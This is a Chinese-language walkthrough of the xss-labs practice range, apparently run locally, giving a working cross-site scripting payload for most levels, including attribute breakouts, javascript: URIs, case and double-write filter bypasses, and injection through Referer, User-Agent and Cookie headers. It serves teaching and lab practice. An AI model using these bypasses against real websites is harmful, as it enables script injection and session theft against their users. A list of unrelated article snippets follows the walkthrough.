XSS靶场通关详解
前言
这里作者采用phpstudy部署的xss-lab靶场,配置如下:

第一关
进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss

成功弹窗!

payload:
<script>alert(1)</script>
第二关
可以发现第二关是表单的传参点


尝试失败,意识到第二关开启了拦截
查看网站源码发现被转义

查看源代码发现输出的str被编码了,但是input标签中的str没有被编码,因此我们最终需要把input标签进行闭合

此时我们可以构造payload闭合input标签

payload:
"><script>alert(1)</script>
第三关
使用第二关的payload发现全部被转义

补充一下htmlspecialchars函数的用法,这个函数可以将输入的特殊字符进行html实体编码

查看第三关源码发现这个函数没有加参数,所以只是对双引号和特殊字符进行编码,没有对单引号进行编码

所以可以尝试使用单引号进行闭合,后面的也不能出现标签了(因为标签的<>会被编码)单引号闭合属性之后可以对input标签单独写一个属性进行弹窗。

payload:
' onclick='alert(1)'
第四关
将第三关的payload打上去,查看源码发现前面多了一个双引号

尝试使用”进行闭合,直接弹窗

payload:
"' onclick='alert(1)'
第五关
使用第四关的payload进行尝试,发现事件被加_,此时给input标签增加属性这条路走不通了,可以尝试使用a标签

使用a标签之前需要将input标签进行闭合,可以使用"'>进行闭合,然后增加a标签
点击此处即可弹窗

payload:
"'> <a href='javascript:alert(1)'>
第六关
将第五关的payload输入发现href增加了_

可以尝试进行大写绕过过滤

payload:
"'> <a HREF='javascript:alert(1)'>
第七关
输入第六关的payload,发现其中的href和script都被替换了,可以尝试进行双写进行绕过


payload:
"'> <a hrehreff='javascscriptript:alert(1)'>
第八关
输入第七关的payload,发现将我们输入的内容作为了a标签的href值

尝试javascript:alert(1),发现被编码了,尝试使用

编码后成功弹窗


payload:
javascript:alert(1)
第九关
使用以上payload发现不能用,提示不是合法链接,输入http://baidu.com即可,说明此输入框中要输入http的合法链接
此时可以使用js中的注释符,将合法链接添加在注释中从而造成弹窗

payload:
javascript:alert(1)//http://www.baidu.com将注释符前面的部分进行编码,否则还是不合法的链接,一下为编码后的payload:
javascript:alert(1)//http://www.baidu.com
第十关
尝试刚刚的payload发现不起作用,查看源码发现有三个隐藏的input框

尝试将值传给这三个隐藏的标签,执行以下url
http://127.0.0.1/xss/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4
发现第三个标签的值被修改了

此时可以先将value值进行闭合然后添加onclick进行弹窗,由于后面将它隐藏了,可以在前面进行显示出来

payload:
http://127.0.0.1/xss/level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)'
第十一关
尝试payload发现不行,隐藏标签也不行,但是有一个t_ref标签(联想到了referer)是存放着上一关的payload,可能存在xss

返回上一关进行抓包,在referer中插入payload进行xss或者使用hackbar修改referer

payload:
'" type='text' onclick='alert(1)'
第十二关
跟11关类似,这里的referer改为了user-agent,所以在ua尝试进行xss


payload:
'" type='text' onclick='alert(1)'
第十三关
跟11和12关类似,这里换成了cookie

payload:
user='" type='text' onclick='alert(1)'
第十四关
本关出错了,直接打15关即可
第十五关
本关需要用到一个新的属性
AngularJS ng-include 指令详解-CSDN博客
可以尝试让其包含第一关,这样第一关的xss可以直接用在这里

onmouseover事件是鼠标移动到元素上会触发弹窗
payload:
http://127.0.0.1/xss/level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=1 onmouseover=alert()>'
第十六关
发现本关将空格进行了编码

尝试使用回车符替换空格进行绕过,回车的url编码是%0a,使用%0a替换%20即可

payload:
<img%0asrc=1%0aonerror=alert(1)>
第十七关
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容(现在不太常用此标签了)
思路:闭合前面的src标签然后添加事件属性
payload:
' onmouseover=alert(1)
第十八关
跟上一关一样
第十九关
这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了
第二十关
这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了
相关文章:
XSS靶场通关详解
前言 这里作者采用phpstudy部署的xss-lab靶场,配置如下: 第一关 进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss 成功弹窗! payload: <script>alert(1)<…...
Excel 技巧15 - 在Excel中抠图头像,换背景色(★★)
本文讲了如何在Excel中抠图头像,换背景色。 1,如何在Excel中抠图头像,换背景色 大家都知道在PS中可以很容易抠图头像,换背景色,其实Excel中也可以抠简单的图,换背景色。 ※所用头像图片为百度搜索&#x…...
备忘-humanplus相关的代码解析
-1: numpy必须为1.20.0,否则会报错,版本冲突0.rlvalue-based: 如q-learning(走迷宫),对当前状态下作出的动作进行价值计算,通过贪婪策略穷尽所有可能选择最佳state-action,但是对于连续的动作空间&#x…...
青少年编程与数学 02-008 Pyhon语言编程基础 01课题、语言概要
青少年编程与数学 02-008 Pyhon语言编程基础 01课题、语言概要 一、榜一大哥起源与早期发展版本演进与社区壮大应用领域的拓展编程语言排行榜的常客结语 二、当前排行三、出色表现四、易学易用五、特色显著六、资源丰富初学者资源中高级学习资源在线编程学习平台 课题摘要:本文…...
XSS (XSS)分类
XSS (XSS) 概要 XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的…...
[Linux]el8安全配置faillock:登录失败达阈值自动锁定账户配置
前言 本篇文章的配置仅使用于el8版本的Linux,目前已在centos8、BCLinux8上验证成功,其他版本系统是否可行还得考查。 el8中管理用户登录失败锁定账户所用的模块是faillock.so,如果想要将配置应用与其他版本的Linux,建议确认Linux…...
最新-CentOS 7安装1 Panel Linux 服务器运维管理面板
CentOS 7安装1 Panel Linux 服务器运维管理面板 一、前言二、环境要求三、在线安装四、离线安装1.点击下面1 Panel官网链接访问下载,如未登录或注册,请登录/注册后下载2.使用将离线安装包上传至目标终端/tem目录下3.进入到/tem目录下解压离线安装包4.执行…...
selenium定位网页元素
1、概述 在使用 Selenium 进行自动化测试时,定位网页元素是核心功能之一。Selenium 提供了多种定位方法,每种方法都有其适用场景和特点。以下是通过 id、linkText、partialLinkText、name、tagName、xpath、className 和 cssSelector 定位元素的…...
積分方程與簡單的泛函分析8.具連續對稱核的非齊次第II類弗雷德霍姆積分算子方程
1)def求解具連續對稱核的非齊次第II類弗雷德霍姆積分算子方程 设 是定义在上的连续对称核函数, 非齐次第二类弗雷德霍姆积分算子方程的形式为: , 其中是未知函数,是给定的连续函数,是参数。 2)def其特徵值是否一致…...
长理算法复习
选择排序 #include<iostream>using namespace std;const int N 1010; int a[N]; int n;void selectSort(){for (int i 0; i < n;i){int pos i;for (int j i 1; j < n;j){if(a[j]<a[pos])pos j;}swap(a[i], a[pos]);} }int main() {cin >> n;for (i…...
机器学习-K近邻算法
文章目录 一. 数据集介绍Iris plants dataset 二. 代码三. k值的选择 一. 数据集介绍 鸢尾花数据集 鸢尾花Iris Dataset数据集是机器学习领域经典数据集,鸢尾花数据集包含了150条鸢尾花信息,每50条取自三个鸢尾花中之一:Versicolour、Setosa…...
使用rsync+inotify简单实现文件实时双机双向同步
使用rsyncinotify简单实现文件实时双机双向同步 实现思路 使用inotify-tools的inotifywait工具监控文件变化,触发后使用rsync做同步。加入系统服务项,实现实时监听,方便管理。 以下配置操作,单向同步,只需在单边部…...
Ubuntu 24.04 LTS开机自启动脚本设置方法
目录 Ubuntu中设置开机自启动脚本步骤1:修改 rc-local.service文件步骤2:创建/etc/rc.local文件步骤3:修改/etc/rc.local的权限步骤4:启动rc-local.service步骤5:查看rc-local.service的服务状态 Ubuntu中设置开机自启…...
谈谈对JavaScript 中的事件冒泡(Event Bubbling)和事件捕获(Event Capturing)的理解
JavaScript 中的事件冒泡(Event Bubbling)和事件捕获(Event Capturing),是浏览器在处理事件时采用的两种机制,它们在事件的传播顺序上有显著区别。这两种机制帮助开发者在事件触发时,能够以不同…...
解读2025年生物医药创新技术:展览会与论坛的重要性
2025生物医药创新技术与应用发展展览会暨论坛,由天津市生物医药行业协会、BIO CHINA生物发酵展组委会携手主办,山东信世会展服务有限公司承办,定于2025年3月3日至5日在济南黄河国际会展中心盛大开幕。展会规模60000平方米、800参展商、35场会…...
【第七天】零基础入门刷题Python-算法篇-数据结构与算法的介绍-一种常见的分治算法(持续更新)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、Python数据结构与算法的详细介绍1.Python中的常用的分治算法2. 分治算法3.详细的分治代码1)一种常见的分治算法 总结 前言 提示:这…...
Spring Data JPA 实战:构建高性能数据访问层
1 简介 1.1 Spring Data JPA 概述 1.1.1 什么是 Spring Data JPA? Spring Data JPA 是 Spring Data 项目的一部分,旨在简化对基于 JPA 的数据库访问操作。它通过提供一致的编程模型和接口,使得开发者可以更轻松地与关系型数据库进行交互,同时减少了样板代码的编写。Spri…...
Python JSON:深入解析与高效应用
Python JSON:深入解析与高效应用 引言 JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。Python 作为一种广泛使用的编程语言,对 JSON 的支持非常友好。本文将深入探讨 Python 中 JSON 的处理方法,包括基本操…...
【C语言进阶(四)】指针进阶详解(上)
指针进阶 1. 前言 2. 字符指针 2.1 常量字符串</br>2.2 常量字符串存储的位置</br> 3. 数组指针3.1 数组指针的使用</br> 4. 指针数组 4.1 拓展</br> 5. 数组传参与指针作为参数 5.1 一维数组传参</br> 5.2 二维数组传参</br> 5.3 一级指…...
DDD架构实战第五讲总结:将领域模型转化为代码
云架构师系列课程之DDD架构实战第五讲总结:将领域模型转化为代码 一、引言 在前几讲中,我们讨论了领域模型的重要性及其在业务分析中的渐进获得方法。本讲将聚焦于如何将领域模型转化为代码,使得开发人员能够更轻松地实现用户的领域模型。 二、从模型到代码:领域驱动设计…...
wordpress后台更新后 前端没变化的解决方法
使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…...
对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...
Nuxt.js 中的路由配置详解
Nuxt.js 通过其内置的路由系统简化了应用的路由配置,使得开发者可以轻松地管理页面导航和 URL 结构。路由配置主要涉及页面组件的组织、动态路由的设置以及路由元信息的配置。 自动路由生成 Nuxt.js 会根据 pages 目录下的文件结构自动生成路由配置。每个文件都会对…...
在Ubuntu中设置开机自动运行(sudo)指令的指南
在Ubuntu系统中,有时需要在系统启动时自动执行某些命令,特别是需要 sudo权限的指令。为了实现这一功能,可以使用多种方法,包括编写Systemd服务、配置 rc.local文件或使用 cron任务计划。本文将详细介绍这些方法,并提供…...
Android15默认授权浮窗权限
我们经常有那种需求,客户需要定制的apk集成在ROM中,并且默认授予其【显示在其他应用的上层】权限,也就是我们常说的浮窗权限,那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...
大数据学习(132)-HIve数据分析
🍋🍋大数据学习🍋🍋 🔥系列专栏: 👑哲学语录: 用力所能及,改变世界。 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言Ǵ…...
#Uniapp篇:chrome调试unapp适配
chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器:Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...
搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1)准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2)服务端安装软件:bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...
多模态图像修复系统:基于深度学习的图片修复实现
多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...
为什么要创建 Vue 实例
核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...
